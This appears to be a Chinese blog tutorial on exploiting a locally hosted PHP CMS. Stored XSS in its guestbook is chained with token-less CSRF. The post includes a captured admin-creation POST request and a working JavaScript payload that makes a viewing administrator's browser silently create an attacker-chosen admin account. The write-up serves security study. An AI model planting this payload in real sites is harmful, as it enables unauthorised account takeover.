当前位置: 首页 > news >正文

xss+csrf项目实例

项目背景:

如下:我们是在一个类似文章管理系统的网站上面发现的该漏洞。我们将其运行在本地的phpstudy集成环境上面。

源码地址下载链接:https://pan.baidu.com/s/1MpnSAq7a_oOcGh4XgPE-2w 
提取码:4444

考察内容:

本次实验使用的存储型xss与csrf的联合使用。我们使用这两个漏洞可以使当管理员查看留言板后自动触发,使其自动创建一个管理员账号。本网站并没有使用token值来防止csrf,所以我们才能够利用。

前提:我们是在拥有管理员权限的情况下进行的。

大致流程:

1:分析,发现存储型xss漏洞

2:发现该网站并无token值,可以进行csrf

3:使用js伪造创建管理员的form表单

4:当管理员查看留言板后自动触发xss,创建一个攻击者自己定义的管理员账号。

开始实验:

1:发现存储xss

发现该网站存在一个留言板,其中的内容会存入数据库中,管理员会不定期去查看留言板中的内容。如下:经过测试我们发现当我们将恶意的js代码放到内容板块中存入数据库,当管理员去查看留言信息后就会自动触发js恶意代码:

管理员查看留言板:可以发现自动弹窗了,说明这里存在一个存储型xss。

2:该网站并没有使用token值来防止csrf,接下来我们使用抓包工具burp suite来抓创建管理员的包,需要打开代理设置,指向抓包工具burp suite(这个操作比较简单,不会的可以进行百度):

创建管理员页面:

抓包:

POST /admin/user.action.php HTTP/1.1
Host: cms:1234
Content-Length: 94
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://cms:1234
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://cms:1234/admin/user.add.php?act=add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: username=admin; userid=1; PHPSESSID=0m903rglk205acbq8ol191q271
Connection: closeact=add&username=2&password=2&password2=2&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0

通过对抓到的包分析:我们可以发现该包使用的是POST方式进行提交,将参数提交到/admin/user.action.php进行处理。所以我们就可以根据这个包中的内容进行伪造。

3:使用js伪造创建管理员账号的form表单:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://cms:1234/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=DJJ&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

整个js的操作是创建管理员的操作,不过是由js自动触发。

xmlhttp.open:提交地址

xmlhttp.setRequestHeader:post的请求头

xmlhttp.send:post中的参数(创建的账号,密码等)

4:将伪造的恶意js代码上传留言板,当管理员查看留言信息后自动触发,创建一个新的管理员账号。

5:管理员查看留言板,触发存储xss,创建管理员账号。

如下:当我们查看留言板后,在去查看管理员账号信息发现已经自动创建了一个我们定义的管理员账号。

http://www.lryc.cn/news/374297.html

相关文章:

  • 速盾:cdn加速怎么计费?
  • Vue3 中 props 与 emit 用法
  • 【python】如何import 另一个路径下的py文件内容
  • C/C++ Adaline自适应线性神经网络算法详解及源码
  • UniApp+Vue3使用Vant-微信小程序组件
  • python IP 端口 socket tcp 介绍
  • 【动态规划】| 路径问题之最小路径和 力扣64
  • 如何在vector中插入和删除元素?
  • 独具韵味的移动端 UI 风格
  • 【SpringBoot】SpringBoot:构建实时聊天应用
  • 基于Matlab的车牌识别停车场出入库计时计费管理系统(含GUI界面)【W6】
  • 大众点评js逆向过程(未完)
  • web前端如何设置单元格:深入解析与实用技巧
  • 龙迅LT9611UXC 2 PORT MIPIDSI/CSI转HDMI 2.1,支持音频IIS/SPDIF输入,支持标准4K60HZ输出
  • 红黑树(C++)
  • PyCharm设置不默认打开上次的项目
  • Eureka到Nacos迁移实战:解决配置冲突与启动异常
  • k8s 小技巧: 查看 Pod 上运行的容器
  • 【Git】基础操作
  • Linux:基础IO(二.缓冲区、模拟一下缓冲区、详细讲解文件系统)
  • 事件传播机制 与 责任链模式
  • uniapp 展示地图,并获取当前位置信息(精确位置)
  • Autosar实践——诊断配置(DaVinci Configuration)
  • 植物大战僵尸杂交版全新版v2.1解决全屏问题
  • 【code-server】Code-Server 安装部署
  • 博客摘录「 YOLOv5模型剪枝压缩」2024年5月11日
  • HttpSecurity
  • Mysql union语句
  • MySQL之高级特性(四)
  • roles安装wordpress